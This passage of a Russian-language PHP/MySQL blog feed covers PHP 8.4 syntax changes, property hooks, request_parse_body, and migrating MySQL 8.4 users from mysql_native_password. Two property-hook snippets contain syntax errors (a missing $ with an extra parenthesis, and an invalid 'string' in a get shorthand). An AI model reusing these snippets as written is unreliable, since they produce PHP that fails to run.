new $myObject-&gt;property; // продолжит работать как `new ($myObject-&gt;property)`</code></pre><p>Так же этот RFC позволяет опускать круглые скобки вокруг new выражения анонимного класса независимо от того, присутствуют ли круглые скобки в аргументах конструктора:</p><pre class="language-"><code class="language-">var_dump(
    // string(8) "constant"
    new class { const CONSTANT = 'constant'; }::CONSTANT,
    // string(14) "staticProperty"
    new class { public static $staticProperty = 'staticProperty'; }::$staticProperty,
    // string(12) "staticMethod"
    new class { public static function staticMethod() { return 'staticMethod'; } }::staticMethod(),
    // string(8) "property"
    new class { public $property = 'property'; }-&gt;property,
    // string(6) "method"
    new class { public function method() { return 'method'; } }-&gt;method(),
    // string(8) "__invoke"
    new class { public function __invoke() { return '__invoke'; } }(),
);</code></pre><p></p><p>В заключении можно сказать, что некоторые языки, такие как Kotlin, позволяют создавать экземпляры классов с помощью выражения <code>MyClass()</code>. Опустить ключевое слово <code>new</code> в PHP на данный момент невозможно, поскольку классы и функции могут иметь одно и то же имя (в Kotlin это невозможно). Итак, чтобы добиться этого в PHP, надо сначала отказаться от объявления функций и классов с одинаковыми именами.</p><p>Спасибо <a target="_blank" rel="noopener noreferrer nofollow" href="https://github.com/vudaltsov">Валентину Удальцову</a> за вклад по улучшению синтаксиса PHP. </p>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/128</guid>
                <pubDate>2024-05-24T04:29:15+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[MySQL 8.4: Замена mysql_native_password на caching_sha2_password]]></title>
                <link>https://sergeymukhin.com/blog/mysql-84-zamena-mysql-native-password-na-caching-sha2-password</link>
                <description><![CDATA[<h1 class="fn__maintitle" itemprop="headline"><strong>MySQL 8.4: Замена mysql_native_password на caching_sha2_password</strong></h1><p>В <a target="_blank" rel="noopener noreferrer nofollow" href="https://sergeymukhin.com/blog/mysql-840-obnovlenie-i-osibka-unknown-variable-default-authentication-pluginmysql-native-password">предыдущем посте с ошибкой <strong>unknown variable default-authentication-plugin=mysql_native_password</strong></a><strong> </strong>мы смягчили последствия обновления до последней версии MySQL 8.4.</p><p>Но разработчики MySQL не просто так же удалили устаревший плагин mysql_native_password, значит нужно не просто сделать фикс системы, но сделать все правильно с точки зрения безопасности.</p><p>Например <a target="_blank" rel="noopener noreferrer nofollow" href="https://dev.mysql.com/doc/refman/8.4/en/caching-sha2-pluggable-authentication.html">здесь</a> можно узнать что теперь по-умолчанию в MySQL плагин аутентификации является caching_sha2_password. MySQL предоставляет два плагина аутентификации, которые реализуют хеширование SHA-256 для паролей учетных записей пользователей:</p><ul><li><p>sha256_password(устарело): реализует базовую аутентификацию SHA-256. Устарел и может быть удален. Не используйте этот плагин аутентификации.</p></li></ul><ul><li><p>caching_sha2_password: реализует аутентификацию SHA-256 (как и sha256_password), но использует кэширование на стороне сервера для повышения производительности и имеет дополнительные функции для более широкого применения.</p></li></ul><h2>Решение</h2><h3>Обновить старые пароли с помощью caching_sha2_password</h3><blockquote><p>Перед всеми операциями советую сделать резервную копию базы данных</p></blockquote><p>Итак, первым делом надо вывести список пользователей, использующих плагин mysql_native_password, делаем запрос в MySQL (не важно какой клиент для подключения к MySQL вы используете, например оболочку):</p><pre class="language-"><code class="language-">mysql&gt; SELECT user, host, plugin from mysql.user WHERE plugin="mysql_native_password";</code></pre><p>Результат будет примерно такой:</p><pre class="language-"><code class="language-">+------------------+-----------+-----------------------+
| user             | host      | plugin                |
+------------------+-----------+-----------------------+
| mysql.infoschema | localhost | caching_sha2_password |
| mysql.session    | localhost | mysql_native_password |
| mysql.sys        | localhost | mysql_native_password |
| root             | localhost | caching_sha2_password |
| mukhin           | localhost | mysql_native_password |
+------------------+-----------+-----------------------+
5 rows in set (0.00 sec)</code></pre><p></p><p>Поскольку caching_sha2_password это новый плагин аутентификации по умолчанию в MySQL 8.x, нам не нужно переопределять метод шифрования пароля дополнительной директивой или флагом. Единственное требование - заново создать/обновить пользователей базы данных с паролем.</p><p>Для этого надо будет сделать запрос по шаблону, для каждого пользователя, использующего старый mysql_native_password:</p><pre class="language-"><code class="language-">ALTER USER "%user%"@"%host%" IDENTIFIED WITH caching_sha2_password BY "%password%";</code></pre><p>Например, чтобы обновить пользователя mukhin на хосту localhost, я обновляю пароль:</p><pre class="language-"><code class="language-">ALTER USER "mukhin"@"localhost" IDENTIFIED WITH caching_sha2_password BY "its_not_my_really_password";</code></pre><p></p><p>После обновления можно проверить, что ваше приложение нормально подключается к MySQL, и после повторного запроса на получение списка пользователей, использующих плагин mysql_native_password уже не выводится.</p><h3>Почистить директивы или флаги</h3><p>После обновления паролей можно почистить за собой конфигурационные файлы или флаги в докере, т.е. например в том же файле:</p><pre class="language-"><code class="language-">sudo nano /etc/mysql/mysql.conf.d/default-auth-override.cnf</code></pre><p>можно закомментировать или удалить строку, которые мы вставляли в прошлый раз, т.е. привести к виду</p><pre class="language-"><code class="language-"># This file is automatically generated by MySQL Maintainer Scripts
[mysqld]
#mysql-native-password=ON</code></pre><p>а в докере поубирать упоминание с установкой дефолтного плагина аутентификации:</p><pre class="language-"><code class="language-">"--default-authentication-plugin=mysql_native_password"</code></pre><p>Делаем рестарт сервиса MySQL:</p><pre class="language-"><code class="language-">sudo service mysql restart</code></pre><p></p><p>и не должны получить ошибок :)</p><blockquote><p>Если вдруг вы удалите или закомментируете директиву <strong>#mysql-native-password=ON, </strong>а пароль забудете обновить с помощью caching_sha2_password и приложение перестанет работать, вы всегда можете вернуть или расскомментировать конфиг назад и попытаться сделать это снова.</p></blockquote>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/127</guid>
                <pubDate>2024-05-21T08:11:25+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[MySQL 8.4.0 Обновление и ошибка unknown variable default-authentication-plugin=mysql_native_password]]></title>
                <link>https://sergeymukhin.com/blog/mysql-840-obnovlenie-i-osibka-unknown-variable-default-authentication-pluginmysql-native-password</link>
                <description><![CDATA[<h1 class="fn__maintitle" itemprop="headline">MySQL 8.4.0 Обновление и ошибка unknown variable default-authentication-plugin=mysql_native_password</h1><p>Как вы знаете (а может еще не в курсе), но не давно был релиз <a target="_blank" rel="noopener noreferrer nofollow" href="https://dev.mysql.com/doc/relnotes/mysql/8.4/en/">Mysql 8.4</a> и среди <a target="_blank" rel="noopener noreferrer nofollow" href="https://dev.mysql.com/doc/relnotes/mysql/8.4/en/news-8-4-0.html">списка обновлений</a> есть такой пункт как:</p><ul><li><p>default_authentication_plugin: Deprecated in MySQL 8.0.27, and now removed. Use authentication_policy instead</p></li></ul><p>Что логично ведет к отключению устаревшего плагина аутентификации <strong>mysql_native_password</strong> по умолчанию и полному отказу сервиса MySQL в принципе после обновления, если он у вас используется, а это может произойти как после запуска update и upgrade системы, так и запуск контейнера докера с<strong> mysql:latest</strong>.</p><p>В логах mysql <strong>/var/log/mysql/error.log</strong> можно увидеть ошибку, валящую СУБД:</p><pre class="language-"><code class="language-">2024-05-08T07:15:11.474311Z 0 [ERROR] [MY-000067] [Server] unknown variable 'default-authentication-plugin=mysql_native_password'.
2024-05-08T07:15:11.475302Z 0 [ERROR] [MY-010119] [Server] Aborting </code></pre><p>Либо при попытке подключиться к MySQL:</p><pre class="language-"><code class="language-">mysql -u root -p</code></pre><p>выдается:</p><pre class="language-"><code class="language-">ERROR 1524 (HY000): Plugin 'mysql_native_password' is not loaded</code></pre><p></p><h2>Решение</h2><p>Решить данную проблему можно, запустив MySQL с новой опцией сервера <strong>--mysql-native-password=ON</strong> или добавив директиву <strong>mysql-native-password=ON</strong> в раздел [mysqld] вашего конфигурационного файла MySQL:</p><pre class="language-"><code class="language-">#может быть здесь
sudo nano /etc/mysql/mysql.conf.d/default-auth-override.cnf

#или здесь
sudo nano /etc/mysql/mysql.conf.d/mysqld.cnf</code></pre><p>открыв файл вы увидите что-то типа:</p><pre class="language-"><code class="language-"># This file is automatically generated by MySQL Maintainer Scripts
[mysqld]
default-authentication-plugin = mysql_native_password</code></pre><p>приводим его к виду:</p><pre class="language-"><code class="language-"># This file is automatically generated by MySQL Maintainer Scripts
[mysqld]
mysql-native-password=ON</code></pre><p>и перегружаем или стартуем mysql:</p><pre class="language-"><code class="language-">sudo service mysql start

#или

sudo service mysql restart</code></pre><p></p><p>в докере меняем соотвественно команду c :</p><pre class="language-"><code class="language-">command: ["mysqld", "--default-authentication-plugin=mysql_native_password"]</code></pre><p>на</p><pre class="language-"><code class="language-">command: ["mysqld", "--mysql-native-password=ON"]</code></pre><p>ну или в любом другом месте где используется <strong>default-authentication-plugin=mysql_native_password </strong>на <strong>mysql-native-password=ON</strong>.</p><p>Должно все заработать, а вот что делать потом, дело каждого) главное все работает в данный момент и можно спокойно заниматься делами.</p><p></p>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/126</guid>
                <pubDate>2024-05-08T08:34:02+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[PHP 8.4: Property hooks]]></title>
                <link>https://sergeymukhin.com/blog/php-84-property-hooks</link>
                <description><![CDATA[<h1 class="fn__maintitle" itemprop="headline">PHP 8.4: Property hooks</h1><p>Итак, получение свойства класса или установка его значения является обычной задачей в объектно-ориентированном программировании. В PHP есть несколько способов сделать это. Давайте сначала обсудим их.</p><p>Возьмем, к примеру, следующий класс.</p><pre class="language-"><code class="language-">class User
{
    private string $name;
}</code></pre><p>Как вы можете заметить, у нас в классе есть приватное свойство <code>$</code>name. Теперь мы можем определить геттеры и сеттеры для чтения и записи значения свойства соответственно, что до <strong>PHP 7.4</strong> можно было считать идиоматическим:</p><pre class="language-"><code class="language-">class User
{
    private string $name;

    public function getName(): string
    {
        return $this-&gt;name;
    }

    public function setName(string $name): void
    {
        $this-&gt;name = $name;
    }
}

$user = new User();
$user-&gt;setName('Sergey');

echo $user-&gt;getName(); // Sergey</code></pre><p>Это обычный традиционный подход, и люди используют его уже давно.</p><p>Начиная с PHP 8 мы можем сократить код еще больше, используя <a target="_blank" rel="noopener noreferrer nofollow" href="https://sergeymukhin.com/blog/php-8-prodvizenie-svoistv-konstruktora">объявление свойства в конструкторе</a>:</p><pre class="language-"><code class="language-">class User
{
    public function __construct(public string $name) {}
}

$user = new User('Sergey');

echo $user-&gt;name; // Sergey</code></pre><p>Это довольно аккуратный подход, и он немного более краток при использовании методов получения и установки. Это намного приятнее, но за это приходится платить: если позже мы захотим добавить дополнительное поведение (например, проверку или предварительную обработку), то сделать это будет негде.</p><p>Мы также можем использовать магические методы <code>__get </code>и <code>__set </code>для достижения того же результата. Но это очень многословно, подвержено ошибкам и не подходит для инструментов статического анализа, таких как, например PHPStan.</p><p>В PHP 8.4 этот ключевой аспект будет улучшен за счет введения хуков свойств.</p><h2>Propertry Hooks</h2><p>Согласно <a target="_blank" rel="noopener noreferrer nofollow" href="https://wiki.php.net/rfc/property-hooks">этому RFC</a>, хуки свойств - это новая функция <strong>PHP 8.4</strong>, которая позволит вам определять собственную логику для доступа к свойствам и их изменения. Это может быть полезно для различных случаев использования, таких как мутация, ведение логов, проверка или кэширование.</p><blockquote><p>По сути, Propertry Hooks позволяют вам определять дополнительное поведение свойств класса, используя в основном два хука: <code>get </code>и <code>set</code>. И это будет индивидуально для определенных свойств.</p></blockquote><p>Приведенный ниже дизайн и синтаксис больше всего похож на <strong>Kotlin</strong>, хотя он также опирается на влияние C# и Swift. Python и JavaScript имеют схожие функции благодаря разному синтаксису, хотя этот синтаксис и непригоден для PHP. Ruby рассматривает свойства и методы почти одинаково, поэтому эта функциональность достигается как побочный эффект. Короче говоря, "средства доступа к свойствам" - очень распространенная функция в основных популярных языках программирования.</p><p>Что интересно, авторы просят не пугаться длинному тексту RFC, а предлагают отнестись к этому как глубоко проработанному материалу, отвечающему на все вопросы) Мы конечно пробежимся по самому главному, но если вы хотите узнать детали разработки, то можете почитать оригинальный RFC.</p><h3>Хук <code>set</code>​</h3><p>Вот как мы можем написать <code>set </code>для <code>$</code>name<code> </code>свойства в предыдущем примере:</p><pre class="language-"><code class="language-">class User
{
    public string $name {
        set (string $value) {
            // валидация имени
            if (mb_strlen(value) &lt; 4)) {
                throw new InvalidArgumentException(
                    'Invalid Name'
                );
            }
            
            // Установка значения
            $this-&gt;name = $value;
        }
    }
}</code></pre><p>Как вы можете заметить, хуки заключаются в фигурные скобки, которые идут сразу после имени свойства. Затем мы можем определить хуки внутри этого блока кода.</p><p>Тело хука <code>set</code> - это тело метода произвольной сложности, принимающее один аргумент. Если указано, оно должно включать как тип, так и имя параметра. Здесь мы можем проверить или изменить значение свойства до его установки.</p><p>Таким образом, когда свойству присвоено значение <code>$</code>name, будет вызван хук <code>set</code>, и значение будет проверено перед его установкой.</p><pre class="language-"><code class="language-">$user = new User();
$user-&gt;name = 'Ser'; // Должно вывести исключение InvalidArgumentException

$user = new User();
$user-&gt;name = 'Sergey';

echo $user-&gt;name; // Sergey</code></pre><p>Существует также <strong>сокращенный синтаксис для определения хука </strong><code>set</code> с помощью оператора <strong>=&gt;</strong>, похожий на замыкания:</p><pre class="language-"><code class="language-">class User
{
    public string $name {
        set =&gt; strtoupper($value);
    }
}</code></pre><p>Здесь<code> </code>предполагается, что <code>$value </code>это значение свойства, и для него будет вызвана функция strtoupper.</p><h3>Хук <code>get</code>​</h3><p>Хук <code>get </code>позволяет вам определить собственную логику для доступа к свойствам. Это может быть полезно для свойств, которые необходимо изменить, прежде чем они будут возвращены пользователю.</p><p>Например, если в классе <code>User</code> есть два свойства <code>$name </code>и <code>$lastName</code>, мы можем определить <code>get </code>для свойства <code>$fullName</code> следующим образом:</p><pre class="language-"><code class="language-">class User
{
    public function __construct(
        public string $name, public string $lastName
    ) {}

    public string $fullName {
        get {
            return $this-&gt;name . " " . $this-&gt;lastName;
        }
    }
}

$user = new User('Sergey', 'Mukhin');

echo $user-&gt;fullName; // Sergey Mukhin    </code></pre><p>Как вы можете заметить, хук <code>get</code> не принимает никаких аргументов. Он просто возвращает значение свойства. Как и обычный геттер.</p><p>Таким образом, при доступе к значению <code>$fullName</code> будет вызван хук <code>get</code>, и значение будет возвращено на основе логики, определенной в хуке.</p><p>Так же существует <strong>сокращенный синтаксис для хука </strong><code>get</code><strong> </strong>с помощью оператора <strong>=&gt;</strong></p><pre class="language-"><code class="language-">class User
{
    public function __construct(
        public string $name, 
        public string $lastName
    ) {}

    public string $fullName {
        get =&gt; string $this-&gt;name . " " . $this-&gt;lastName;
    }
}</code></pre><p>Это эквивалентно предыдущему примеру.</p><h2>Использование хуков с интерфейсами</h2><p>Чтобы устранить необходимость в геттерах и сеттерах, интерфейс должен иметь возможность указать, какие свойства он включает и таким образом в довесок этот RFC также <strong>добавляет возможность для интерфейсов асимметрично объявлять публичные свойства</strong>. Класс реализации может предоставить свойство через обычное свойство или хуки. Любого способа из них достаточно для удовлетворения интерфейса.</p><p>Рассмотрим сначала за пример код указанный в RFC:</p><pre class="language-"><code class="language-">interface I
{
    // Класс, реализующий интерфейс ДОЛЖЕН иметь публичное свойство,
    // но независимо от того, является ли оно публичным или нет - ограничений нет.
    public string $readable { get; }
&nbsp;
    // Класс реализации ДОЛЖЕН иметь публичное свойство для записи,
    // но независимо от того, доступно ли оно публичному чтению или нет - ограничений нет.
    public string $writeable { set; }
&nbsp;
    // Класс реализации ДОЛЖЕН иметь свойство, которое является публичным и
    // доступно для чтения и записи.
    public string $both { get; set; }
}</code></pre><p>Теперь возьмем что-нибудь из жизни и покороче:</p><pre class="language-"><code class="language-">interface User
{
    // Объекты, реализующие этот интерфейс, ДОЛЖНЫ иметь возможность
    // получить свойство $fullName. Этого можно добиться обычным
    // свойством или свойство с хуком get.
    public string $fullName { get; }
}
 
class Customer implements User
{
    // Хук get необязателен, если он не указан,
    // свойство будет доступно для чтения даже без хука get.
    public function __construct(public string $fullName) {}
}</code></pre><p>как видите, свойство <code>$fullName</code> прекрасно читается и без хука <code>get</code>. Но если мы определим хук <code>get</code> для свойства, оно будет доступно для чтения именно с помощью хука <code>get</code>.</p><p>Интерфейсы связаны только с публичным доступом, поэтому наличие закрытых свойств не зависит от интерфейса и не может удовлетворить интерфейс. Это та же самая связь, что и для методов. Ключевое слово public свойства необходимо для обеспечения согласованности синтаксиса (или его редко используемый псевдоним var).</p><p>Следует отметить, что свойство интерфейса, которое требует только <strong>get</strong> может удовлетворяться общедоступным <strong>readonly</strong> свойством, поскольку ограничения <strong>readonly</strong> применяются только при записи. Однако свойство интерфейса, которое требует <strong>set</strong> несовместимо с readonly свойством, поскольку публичная запись будет запрещена.</p><h2>Магическая константа свойства</h2><p>В хуке свойства специальная константа <strong>__PROPERTY__ </strong>определяется автоматически. Его значением будет установлено имя свойства. Это в основном полезно для повторения самоссылающегося кода, пример:</p><pre class="language-"><code class="language-">class User
{
    private array $cache = [];

    // ...

    public string $fullName { get =&gt; $this-&gt;cache[__PROPERTY__] ??= $this-&gt;name . " " . $this-&gt;lastName; }
}</code></pre><p></p><h2>Взаимодействие с Trait'ами</h2><p>Свойства в трейтах могут объявлять хуки, как и любое другое свойство. Однако, как и в случае с обычными свойствами, здесь нет механизма разрешения конфликтов, который имеется в методах. Если трейт и класс, в котором он используется, объявляют одно и то же свойство с помощью хуков, выдается ошибка. Ожидается, что это очень редкий крайний случай, и поэтому никаких дополнительных механизмов разрешения не требуется.</p><h2>Работа с рефлексией</h2><p>Появилось новое глобальное перечисление PropertyHookType. Он имеет поддержку строки, что позволяет при необходимости легко "преобразовать" примитивные значения:</p><pre class="language-"><code class="language-">enum PropertyHookType: string
{
    case Get = 'get';
    case Set = 'set';
}</code></pre><p></p><h2>На что следует обратить внимание</h2><p>Есть вещи, которые следует учитывать при использовании хуков свойств.</p><ul><li><p>Хуки доступны только в свойствах объекта. Таким образом, статические свойства не могут иметь хуков.</p></li><li><p>Хуки свойств переопределяют любое поведение свойства при чтении или записи.</p></li><li><p>Хуки свойств имеют доступ ко всем публичным, приватным или защищенным методам объекта, а также к любым публичным, приватным или защищенным свойствам, включая свойства, которые могут иметь свои собственные хуки свойств.</p></li><li><p>Установка ссылок на хуки свойств не допускается, поскольку любая попытка изменения значения по ссылке приведет к обходу хука <strong>set</strong>, если он определен.</p></li><li><p>Дочерний класс может определять или переопределять индивидуальные хуки свойства путем переопределения свойства и только тех хуков, которые он хочет переопределить. Тип и видимость свойства объекта независимо регулируются собственными правилами. Таким образом, каждый хук переопределяет родительские реализации независимо друг от друга.</p></li></ul><h2><strong>В заключение</strong></h2><p>Хуки свойств - это мощная функция, позволяющая настраивать поведение свойств более понятным, кратким и гибким способом, чем другие подходы. Они особенно полезны, когда вы хотите добавить пользовательскую логику к свойствам, которые читаются или записываются объектом.</p><p>В RFC упоминается, что, хотя в настоящее время существует два хука свойств, в будущем есть возможность добавить больше, что сделает хуки свойств еще более мощными.</p><p>Можно только поблагодарить Илью Товило и Ларри Гарфилда, в очередной раз создавших столь прекрасный функционал!</p>
<div data-youtube-video=""><iframe width="100%" height="480" allowfullscreen="true" autoplay="false" disablekbcontrols="false" enableiframeapi="false" endtime="0" ivloadpolicy="0" loop="false" modestbranding="false" origin="" playlist="" src="https://www.youtube.com/embed/ULUrhIrjyAg" start="0"></iframe></div>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/125</guid>
                <pubDate>2024-04-23T14:45:58+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[PHP 8.4: Новая функция request_parse_body]]></title>
                <link>https://sergeymukhin.com/blog/php-84-novaia-funkciia-request-parse-body</link>
                <description><![CDATA[<h1 class="fn__maintitle" itemprop="headline">PHP 8.4: Новая функция request_parse_body</h1><p>Как вы знаете PHP автоматически анализирует HTTP-запросы POST для заполнения глобальных переменных <code>$_POST </code>и <code>$_FILES</code>. Однако другие HTTP-запросы с такими методами, как <code>PUT </code>или <code>PATCH уже </code>не анализируются автоматически, и работа с обработкой данных с данными типами запроса ложится на плечи разработчика/приложения.</p><p>RFC1867 определяет тип контента <code>multipart/form-data</code>. Этот тип контента используется в основном для отправки HTTP-форм, содержащих файлы. PHP изначально поддерживает анализ этого типа контента, но только для запросов POST. В частности, если запрос имеет метод POST и тип содержимого multipart/form-data, тело запроса немедленно используется перед запуском PHP-скрипта и заполняется в суперглобальные переменные $_POST и $_FILES. Эта функция запускается автоматически и не предоставляется непосредственно пользователю.</p><p>Учитывая популярность <code>REST API</code>, которые все чаще используют HTTP методы, отличные от POST - такие как <code>PUT</code>, <code>DELETE </code>и <code>PATCH</code>, где использование multipart/form-data полностью допустимо, но не обрабатывается PHP автоматически. Это требует ручного анализа тела запроса нетривиального формата. Обработка больших объемов данных в пользовательской среде также может быть не оптимальной с точки зрения производительности.</p><p>Например в Symfony <a target="_blank" rel="noopener noreferrer nofollow" href="https://github.com/symfony/symfony/tree/7.1/src/Symfony/Component/Mime/Part">эта часть</a> отвечает за анализ таких данных, в том же Phalcon мне пришлось в свое время тоже добавить <a target="_blank" rel="noopener noreferrer nofollow" href="https://github.com/phalcon/cphalcon/blob/master/phalcon/Http/Request.zep#L1765">эту возможность</a> и так в любом мало-мальски используемом фреймворке.</p><p>UPD: Вот <a target="_blank" rel="noopener noreferrer nofollow" href="https://gist.github.com/SerafimArts/60f13401dc79db6f787e4879742a7d55">отличный пример</a> реализации от <a target="_blank" rel="noopener noreferrer nofollow" href="https://github.com/SerafimArts">Кирилла Несмеянова</a>, который при свободном времени можно оформить в пакет)</p><p>Если вкратце, PHP предоставляет обёртку потока <code>php://input</code>, содержащую данные запроса. Для <code>POST </code>запросов с <code>enctype="multipart/form-data"</code> эта обёртка потока остается пустой, поскольку она автоматически анализируется и используется для заполнения переменных <code>$_POST и</code> <code>$_FILES</code>. Автоматической обработкой <code>$_POST и</code> <code>$_FILES </code>можно управлять с помощью директивы <code>enable_post_data_reading=Off в INI</code>.</p><p>Если значение <code>enable_post_data_reading </code>установлено как <code>Off</code>, или если метод HTTP-запроса имеет значение, отличное от <code>POST</code>, <code>php://input </code>обёртку потока можно прочитать в PHP-коде приложения для анализа данных HTTP-запроса:</p><pre class="language-"><code class="language-">curl --request PUT --location 'https://somehost.com/somepath' --form 'foo="bar"'</code></pre><p></p><p>В PHP-приложении данные формы приведенного выше вызова Curl можно прочитать из потока <code>php://input</code>:</p><pre class="language-"><code class="language-">echo file_get_contents('php://input');</code></pre><pre class="language-"><code class="language-">----------------------------690112416382325217175117
Content-Disposition: form-data; name="foo"
bar
----------------------------690112416382325217175117--</code></pre><p></p><p>Итак, в PHP 8.4 была добавлена ​​новая функция request_parse_body, которая предоставляет встроенную в PHP функциональность анализа запросов для других методов HTTP-запросов, отличных от POST:</p><pre class="language-"><code class="language-">/**  
 * Parse and consume php://input and return the values for $_POST
 * and $_FILES variables.
 * 
 * @param array&lt;string, int|string&gt;|null $options Overrides for INI values
 * @return array&lt;int, array&gt; Array with key 0 being the post data  
 *   (similar to $_POST), and key 1 being the files ($_FILES).  
 */
function request_parse_body(?array $options = null): array {}</code></pre><pre class="language-"><code class="language-">// Например, это запрос PUT 
var_dump($_POST);   // [] 
var_dump($_FILES);  // []
 
[$_POST, $_FILES]  = request_parse_body();
 
var_dump($_POST);   // уже есть данные [...] 
var_dump($_FILES);  // уже есть данные [...]</code></pre><p></p><p>При вызове функция request_parse_body считывает все содержимое, которое доступно в потоке php://input и создает значения, которые можно использовать в переменных $_POST и $_FILES.</p><p>Возвращаемым значением будет массив, c двумя ключами, 0 и 1, содержащий проанализированные значения, которые можно использовать как $_POST(индекс ключа массива 0) и $_FILES(индекс 1). Оба ключа массива будут присутствовать всегда - даже если нет данных запроса и/или файлов.</p><p>Можно заполнить значения $_POST и $_FILES непосредственно из возвращаемых значений:</p><pre class="language-"><code class="language-">[$_POST, $_FILES] = request_parse_body();</code></pre><p></p><p>Обратите внимание, что синтаксический анализ запроса по-прежнему имеет ограничения, установленные директивами INI. Например, если директива post_max_size (которая ограничивает максимальный размер запросов) установлена ​​в 2 мегабайта, попытка вызвать функцию request_parse_body с запросом большего размера по-прежнему будет приводить к ошибке.</p><p>Параметры анализа запроса можно переопределить на меньшие или большие значения, передав параметр $options.</p><p>Если запрос, который пытаются проанализировать, нарушает ограничения, установленные в директивах INI или пользовательских параметрах, функция request_parse_body генерирует новое исключение <code>RequestParseBodyException</code>.</p><h2>Переопределение параметров анализа запроса</h2><p>Параметр $options можно использовать для передачи массива значений INI, связанных с анализом запроса. Эти значения не обязательно должны быть меньше, чем глобальная конфигурация. Это дает преимущество выборочной обработки меньших или больших значений, чем ограничения, установленные в файлах INI.</p><p>Например, чтобы проанализировать запрос с большим или меньшим пределом директивы post_max_size INI, можно вызвать функцию request_parse_body с нужным значением:</p><pre class="language-"><code class="language-">request_parse_body(['post_max_size' =&gt; 1024]);</code></pre><p></p><p>Массив $options принимает только следующие переопределения:</p><table style="minWidth: 50px"><colgroup><col><col></colgroup><tbody><tr><th colspan="1" rowspan="1"><p><strong>INI/</strong><code>$option </code><strong>ключ</strong></p></th><th colspan="1" rowspan="1"><p><strong>Описание</strong></p></th></tr><tr><td colspan="1" rowspan="1"><p>post_max_size</p></td><td colspan="1" rowspan="1"><p>Максимальный размер данных POST, которые принимает PHP. Его значение может быть 0 - чтобы отключить ограничение.</p></td></tr><tr><td colspan="1" rowspan="1"><p>max_input_vars</p></td><td colspan="1" rowspan="1"><p>Сколько входных переменных GET/POST/COOKIE можно принять</p></td></tr><tr><td colspan="1" rowspan="1"><p>max_multipart_body_parts</p></td><td colspan="1" rowspan="1"><p>Сколько составных частей тела (комбинированная входная переменная и загрузка файлов) может быть принято.</p></td></tr><tr><td colspan="1" rowspan="1"><p>max_file_uploads</p></td><td colspan="1" rowspan="1"><p>Максимальное количество файлов, которые можно загрузить по одному запросу.</p></td></tr><tr><td colspan="1" rowspan="1"><p>upload_max_filesize</p></td><td colspan="1" rowspan="1"><p>Максимально допустимый размер загружаемых файлов.</p></td></tr></tbody></table><p>Предоставление неверных ключей или значений приведет к возникновению ошибки <code>ValueError</code>.</p><h2>Класс исключения RequestParseBodyException</h2><p>RequestParseBodyException - это новый класс Exception, объявленный в глобальном пространстве имен, расширяющий класс Exception.</p><pre class="language-"><code class="language-">class RequestParseBodyException extends Exception {}</code></pre><p></p><p><code>RequestParseBodyException</code> исключения выдаются, если функция <code>request_parse_body</code> не может проанализировать данные запроса. Это может произойти, если предоставленные данные запроса недействительны, не отправляют заголовок Content-Type или если данные запроса выходят за пределы ограничения, установленного директивами INI и необязательным параметром <code>$options</code>.</p><p>Ниже приведен список исключений RequestParseBodyException и их причин:</p><ul><li><p><strong>RequestParseBodyException: Request does not provide a content type</strong></p><p>Запрос не содержит заголовка Content-Type.</p></li><li><p><strong>RequestParseBodyException: Content-Type ARBITRARY_TYPE is not supported</strong></p><p>Заголовок Content-Type содержит значение, отличное от <code>multipart/form-data</code> или <code>application/x-www-form-urlencoded</code>.</p></li><li><p><strong>RequestParseBodyException: Missing boundary in multipart/form-data POST data</strong></p><p>Запрос не содержит границы. Убедитесь, что запрос правильно отформатирован как <code>multipart/form-data</code> или <code>application/x-www-form-urlencoded</code>.</p></li><li><p><strong>RequestParseBodyException: POST Content-Length of ... bytes exceeds the limit of ... bytes</strong></p><p>Длина содержимого превысила значение post_max_size, установленное в $options или INI.</p></li><li><p><strong>RequestParseBodyException: Multipart body parts limit exceeded ... To increase the limit change max_multipart_body_parts in php.ini</strong></p><p>Части данных запроса превысили значение max_multipart_body_parts, установленное в параметре $options или INI.</p></li><li><p><strong>RequestParseBodyException: Input variables exceeded ... To increase the limit change max_input_vars in php.ini.</strong></p><p>Части данных запроса превысили значение max_input_vars, установленное в $options или INI.</p></li><li><p><strong>RequestParseBodyException: Maximum number of allowable file uploads has been exceeded</strong></p><p>Количество загружаемых файлов превышает значение max_file_uploads, установленное в $options или INI.</p></li></ul><h2><strong>Предостережения </strong><code>request_parse_body</code></h2><p>Функция request_parse_body предназначена для вызова только один раз за запрос и разрушительно воздействует на php://input. При последующих вызовах функция вернет массив с пустыми данными, а поток php://input будет пуст после первого вызова request_parse_body().</p><blockquote><p><strong>Не идемпотентное поведение request_parse_body</strong></p><p>Обратите внимание, что вызов функции request_parse_body потенциально может привести к деструктивному поведению, включая поглощение потока php://input и очистки его содержимого.</p></blockquote><ul><li><p>Вызов функции request_parse_body поглощает поток php://input, после этого поток php://input будет пуст.</p></li><li><p>Если php://input поток был прочитан ранее (например file_get_contents('php://input'), функция request_parse_body возвратит пустой результат ([0 =&gt; [], 1 =&gt; []]).</p></li><li><p>функция request_parse_body не изменяет напрямую глобальные переменные $_POST и $_FILES; при желании приложение PHP может перезаписать эти переменные.</p></li><li><p>Только первый вызов функции request_parse_body возвращает проанализированные данные. Последующие вызовы возвращают пустой результат ([0 =&gt; [], 1 =&gt; []]).</p></li><li><p>Даже если функция выдает исключение, php://input все равно используется и очищается, а последующие request_parse_body вызовы возвращают пустой результат.</p></li></ul><p>Итак, на выходе мы имеем нативную функцию, которая позволит избавиться от некоторой логики в фреймворках или пользовательских приложений, будет иметь более высокую скорость обработки и безопасность.</p><p>Давайте дружно похлопаем и поблагодарим <a target="_blank" rel="noopener noreferrer nofollow" href="https://github.com/iluuu1994">Илью Товило</a> за столь замечательный функционал!</p>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/124</guid>
                <pubDate>2024-03-22T11:52:49+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[Статистика версий PHP - выпуск 2024.1]]></title>
                <link>https://sergeymukhin.com/blog/statistika-versii-php-vypusk-20241</link>
